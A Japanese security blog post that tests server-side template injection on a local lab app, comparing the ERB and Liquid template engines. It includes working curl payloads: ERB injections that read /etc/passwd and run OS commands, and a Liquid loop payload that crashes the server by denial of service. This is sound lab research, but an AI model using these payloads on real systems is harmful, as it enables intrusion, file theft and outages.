まったり技術ブログ

Webエンジニアのセキュリティブログ

「SSTI(サーバサイド・テンプレート・インジェクション)経由のDoS攻撃」を試す

TL;DR

  • プログラムが書けないテンプレートエンジンでも大量ループのテンプレートの挿入でシステムを落とせるヨ

はじめに

 SSTI(Server-Side Template Injection : サーバサイド・テンプレート・インジェクション) の与える影響範囲はテンプレートエンジンによって変わるとふと思いました。

 SSTI に着目してみると、テンプレートエンジンは以下の2つに大別されます。

  • いろいろな機能を持つテンプレートエンジン」
  • 最低限の機能のみを持つテンプレートエンジン」

 本記事では後者の「最低限の機能のみを持つテンプレートエンジン」に焦点を当てて検証を行なっていきます。

 まずは、両方のテンプレートエンジンの比較(検証 ①)。

 最後(検証 ②)で SSTI(サーバサイド・テンプレート・インジェクション)経由の DoS攻撃を実施し、システムを落とすことが可能であることを確認します。

 カッコよく言うと『DoS via Server-Side Template Injection』というやつです。

検証 ① 一般的な攻撃

 Ruby環境で用いられるテンプレートエンジンの「ERB」と「Liquid」に対してインジェクションを実施していきます。

  • いろいろな機能を持つテンプレートエンジン :ERB
  • 最低限の機能のみを持つテンプレートエンジン:Liquid

 検証で利用したコードは以下のリポジトリで公開しています。

github.com

 コードはシンプルで name パラメータの値がテンプレートで生成できるようになっています。
 (値がテンプレートに渡される訳ではない!!テンプレートとなってしまう!!という脆弱性です。)

 まずは、以下3パターンの処理をテンプレートエンジンで実現できるかを確認します。

 どの処理もセキュリティ診断で脆弱性を検出した際に、その脆弱性を利用して試してみる処理内容だと思います。

  • パターン1: 簡単な演算
  • パターン2: 任意のファイルの読み込み
  • パターン3: OSコマンドの実行

 検証結果を始めに記載しますが、「Liquid」の方はやはりテンプレートエンジンとしての最低限の機能しか持っておらず、できる処理は少ないという結果になりました。

テンプレートエンジン ERB Liquid
簡単な演算
任意のファイルの読み込み
OSコマンドの実行

 では、検証結果の詳細です。

ERB テンプレートエンジン

パターン1: 簡単な演算

▼ インジェクションする文字列: 「<%= 7 * 7 %>

# curl 'http://127.0.0.1:4567/erb?name=%3c%25%3d%20%37%20%2a%20%37%20%25%3e'

▼ 出力結果

hi 49

パターン2: 任意のファイルの読み込み

▼ インジェクション文字列: 「<%= File.open('/etc/passwd').read %>

# curl 'http://127.0.0.1:4567/erb?name=%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%2f%65%74%63%2f%70%61%73%73%77%64%27%29%2e%72%65%61%64%20%25%3e'

▼ 出力結果

hi root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

パターン3: OSコマンドの実行

▼ インジェクション文字列: 「<%= IO.popen('id').readlines() %>

# curl 'http://127.0.0.1:4567/erb?name=%3c%25%3d%20%49%4f%2e%70%6f%70%65%6e%28%27%69%64%27%29%2e%72%65%61%64%6c%69%6e%65%73%28%29%20%25%3e'

▼ 出力結果

hi ["uid=0(root) gid=0(root) groups=0(root)\n"]

Liquid テンプレートエンジン

 「最低限の機能のみを持つテンプレートエンジン」の代表である Liquid の検証を行います。

パターン1: 簡単な演算

 まずは、Rubyの構文に従った乗算を行います。

▼ インジェクションする文字列: 「{{ 7 * 7 }}

# curl 'http://127.0.0.1:4567/liquid?name=%7b%7b%20%37%20%2a%20%37%20%7d%7d'

▼ 出力結果

hi 7

 出力の期待値は49なので、乗算が行われていないようです。

 Liquid について調べてみると乗算には「フィルタ」を利用する必要があります。

https://shopify.dev/docs/api/liquid/filters/times

 乗算を実現する「times」フィルタを用いて再度検証します。

▼ インジェクション文字列: 「{{ 7 | times: 7 }}

# curl 'http://127.0.0.1:4567/liquid?name=%7b%7b%20%37%20%7c%20%74%69%6d%65%73%3a%20%37%20%7d%7d'

▼ 出力結果

hi 49

 無事期待値が出力されました。このことから Liquid には Ruby の構文はそのまま利用できないことが分かりました。
 (そのため SSTI に対してはセキュア)

 以降は Liquid の構文に従いながら各処理パターンが実現できるかを確認していきます。

パターン2: ファイルの読み込み

 Liquid で別ファイルの読み込みを行うために include タグが用意されているようです。

https://shopify.dev/docs/api/liquid/tags/include

 以下のテンプレートをインジェクションできれば「passwd」ファイルの読み込みができそうです。

▼ インジェクション文字列: 「{% include '/etc/passwd' %}

# curl 'http://127.0.0.1:4567/liquid?name=%7b%25%20%69%6e%63%6c%75%64%65%20%27%2f%65%74%63%2f%70%61%73%73%77%64%27%20%25%7d'

▼ 出力結果

hi Liquid error: This liquid context does not allow includes.

 読み込みは失敗し、「Liquid error: This liquid context does not allow includes.」というエラーメッセージが表示されました。

 少し調べてみましたが、Liquidは事前に読み込みを許可するファイルパスを指定する必要があり、許可されているファイルパス以外へのアクセスであるためエラーが発生しているようでした。

Liquid ファイルシステムは、インクルードタグで使用するために、テンプレートが他のテンプレートを取得できるようにする方法です。
Liquid::Template.file_system = Liquid::LocalFileSystem.new(template_path)
liquid = Liquid::Template.parse(template)

https://github.com/Shopify/liquid/blob/v5.4.0/lib/liquid/file_system.rb#L4

 この許可はプログラム(Ruby)上で記述する必要があり、デフォルトの状態では「/etc/passwd」などの任意のファイルを読み込むのは難しいそうです。

パターン3: OSコマンドの実行

 Liquid ではOSコマンドを実行する手段は用意されていないようでした。

 (ドキュメントを軽く見た感じ、そのようなフィルタやタグは見当たらなかった。)

検証結果

 改めて検証結果を記載しますが、Liquid のサーバサイド・テンプレート・インジェクションはあまりシステムに影響を与えることは難しそうです。

テンプレートエンジン ERB Liquid
簡単な演算
任意のファイルの読み込み
OSコマンドの実行

 次は、 Liquid に対してサーバサイド・テンプレート・インジェクションを利用した DoS攻撃ができるかを検証していきます。

検証 ② DoS攻撃

 本検証ではテンプレート・インジェクションで大量ループを発生させることで、以下のことができるかを確認します。

  • システムに負荷を掛ける
  • システムを落とす

 ちなみに Liquid の for文 の記述方法はこのようになります。

{% for i in (1..10) %}
{% assign hoge = i | plus: i %}
{% endfor %}

https://shopify.github.io/liquid/tags/iteration/

大量ループで負荷を掛ける

10 回ループ → 0.018 秒

# time curl 'http://127.0.0.1:4567/liquid?name=%7B%25+for+i+in+%281..10%29+%25%7D%0D%0A%7B%25+assign+hoge+%3D+i+%7C+plus%3A+i+%25%7D%0D%0A%7B%25+endfor+%25%7D'
hi
real    0m0.018s

1,000 回ループ → 0.023 秒

# time curl 'http://127.0.0.1:4567/liquid?name=%7B%25+for+i+in+%281..1000%29+%25%7D%0D%0A%7B%25+assign+hoge+%3D+i+%7C+plus%3A+i+%25%7D%0D%0A%7B%25+endfor+%25%7D'
hi
real    0m0.023s

1,000,000 回ループ → 6.387 秒

# time curl 'http://127.0.0.1:4567/liquid?name=%7B%25+for+i+in+%281..1000000%29+%25%7D%0D%0A%7B%25+assign+hoge+%3D+i+%7C+plus%3A+i+%25%7D%0D%0A%7B%25+endfor+%25%7D'
hi
real    0m6.387s

100,000,000 回ループ → 1 分 5.994 秒

# time curl 'http://127.0.0.1:4567/liquid?name=%7B%25+for+i+in+%281..10000000%29+%25%7D%0D%0A%7B%25+assign+hoge+%3D+i+%7C+plus%3A+i+%25%7D%0D%0A%7B%25+endfor+%25%7D'
hi
real    1m5.994s

 top コマンドでサーバ上の負荷を確してみます。「%Cpu(s): 99.3 us」となっておりサーバに負荷が掛かっていることが確認できました。

top - 08:30:47 up 31 min,  2 users,  load average: 0.59, 0.53, 0.26
Tasks: 115 total,   1 running,  69 sleeping,   0 stopped,   0 zombie
%Cpu(s): 99.3 us,  0.7 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2006252 total,  1560000 free,   249416 used,   196836 buff/cache
KiB Swap:        0 total,        0 free,        0 used.  1614816 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
  2806 root      20   0  319712 111484   8452 S 99.3  5.6   0:04.44 ruby  

大量ループでシステムを落とす

さらにループ回数を増やしてシステムを落とすことが可能かを確認します。

  • 1. ターミナル(標的)

 サーバを起動します。

# docker-compose up
[+] Running 1/0
 ⠿ Container liquid-erb-ssti-app-1  Created
Attaching to liquid-erb-ssti-app-1
liquid-erb-ssti-app-1  | [2023-07-15 08:32:36] INFO  WEBrick 1.6.1
liquid-erb-ssti-app-1  | [2023-07-15 08:32:36] INFO  ruby 2.7.8 (2023-03-30) [x86_64-linux]
liquid-erb-ssti-app-1  | == Sinatra (v3.0.6) has taken the stage on 4567 for development with backup from WEBrick
liquid-erb-ssti-app-1  | [2023-07-15 08:32:36] INFO  WEBrick::HTTPServer#start: pid=7 port=4567
  • 2. ターミナル(攻撃者)

 先の検証よりループ回数を増やしたテンプレートをインジェクションします。

# curl 'http://xxx.yyy.zzz.221:4567/liquid?name=%7B%25+for+i+in+%281..10000000000%29+%25%7D%0D%0A%7B%25+assign+hoge+%3D+i+%25%7D%0D%0A%7B%25+endfor+%25%7D'
curl: (52) Empty reply from server
  • 3. ターミナル(標的)

 しばらくすると、サーバが落ちました。

liquid-erb-ssti-app-1  | Killed
liquid-erb-ssti-app-1 exited with code 137

 これでサーバサイド・テンプレート・インジェクション経由の DoS でシステムを落とすことができることを確認できました。

まとめ

  • 機能が絞られているテンプレートエンジンのSSTIでも可用性の面で大きな影響を与えることができる。
    • 任意のファイル読み込みなどは難しそう。
  • 私は本検証で用いたテンプレート詳しくないので他に攻撃方法はあるかもしれない。(知っていたら是非ご教示を。)